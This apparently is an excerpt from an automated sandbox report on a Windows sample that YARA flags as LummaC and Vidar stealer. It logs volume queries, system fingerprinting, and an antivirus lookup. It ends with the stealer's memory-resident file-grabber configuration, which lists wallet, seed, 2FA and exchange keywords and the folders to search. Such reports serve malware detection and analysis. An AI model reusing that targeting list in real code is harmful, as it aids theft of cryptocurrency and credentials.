Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe VolumeInformation
Source: C:\ProgramData\BFIIEHJDBK.exe	Queries volume information: C:\ProgramData\BFIIEHJDBK.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041C0B3 lstrcpyA,GetLocalTime,SystemTimeToFileTime,

3_2_0041C0B3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4295570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4295570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|DESKTOP\|%DESKTOP%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
